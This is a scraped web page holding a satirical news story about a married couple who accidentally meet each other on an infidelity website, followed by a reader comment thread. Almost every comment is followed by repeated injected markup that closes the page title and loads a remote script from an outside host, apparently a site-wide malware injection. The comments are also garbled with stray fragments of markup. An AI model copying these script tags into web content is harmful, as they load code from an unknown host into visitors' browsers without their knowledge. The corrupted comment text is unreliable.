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Married couple mistakingly "meet" on cheater's site

by Mark on 8/7/2004 (12)

"Don't take this the wrong way, but you make love just like my husband!"

PARMA,OH -Married couple Anita and Tony Pilduski mistakingly find each other on www.sickofthesameol.com, guilt and panic ensues

Taking a deep drag from a cigarette, Tony Pilduski describes their infidelity foray fiasco

"I mean, hey...me and Anita have been married for 8 years and we got two kids, okay? I just wanted some strange...I ain't any different than any other married stiff online. I wasn't getting what I needed at home, okay?"

Anita Pilduski pensivley agreed

"I-I felt the same way. Tony lost interest in me sexually after our second child was born 3 years ago. I'm still young and a girl needs to feel attractive, right? I just wanted to meet someone who needed me."

Unfortunately for the couple, they met each other by mistake online instead.

Going by the screen name 'big_deuce69', Tony carried on a 4 month IM chat with his own wife, alias 'horny_house_hunny', sometimes on the same computer at different times of the day

"I used to get home from the plant at 9:00, and I'd answer the offline IM's and e-mails Anita sent me that morning, from the same goddamn chair. Sorta creepy. We set up a meet at Yaksha's butcher palace downtown, and totally freaked out when we saw each other. After a few rough questions, we figgered out what was going on."

Anita pursed her lips and shook her head

"I'm so embarrassed and hurt. I guess we can't blame one another. We both were in it together. I guess we'll be going to church every Sunday for awhile."

When asked if the botched attempt at infidelity would result in divorce, both laughed

"Nahh...Now that I know she's into B&D, oral worship, shaving and latex, I wouldn't leave her for Paris Hilton."

Citing similiar revelations, Anita agreed.0"<

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1. by Katy on 3/1/2007 4:52:29 PM

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2. by Motz on 3/1/2007 4:52:29 PM

yes...and getting caught in the rain...*sigh*... </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Katy on 3/1/2007 4:52:29 PM

(ooc: I feel so corny but I do like this stuff lol) What about the feel of the ocean? and the taste of champage?isplay:none"></i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Motz on 3/1/2007 4:52:29 PM

I hope she's not into yoga! (shudders)ig </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Katy on 3/1/2007 4:52:29 PM

Well if she has half a brain..."0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Motz on 3/1/2007 4:52:29 PM

half a brain is good...I once bought half a giraffe just because it was half price! Imagine that! s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Katy on 3/1/2007 4:52:29 PM

You are twisted lolispl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Motz again on 3/1/2007 4:52:29 PM

Yeah, just like Mozart was twisted! o.k....Mozart WAS twisted....g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Katy on 3/1/2007 4:52:29 PM

I'm not sure Mozart knew the words to Escape...h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Kris on 3/1/2007 4:52:29 PM

Okay, break it up! I've got a repuataion to live up to around here! Like I can spell repuatation! s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Katy on 3/1/2007 4:52:29 PM

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12. by Motz on 3/1/2007 4:52:29 PM

*phew* saved by the Kris!"0" style= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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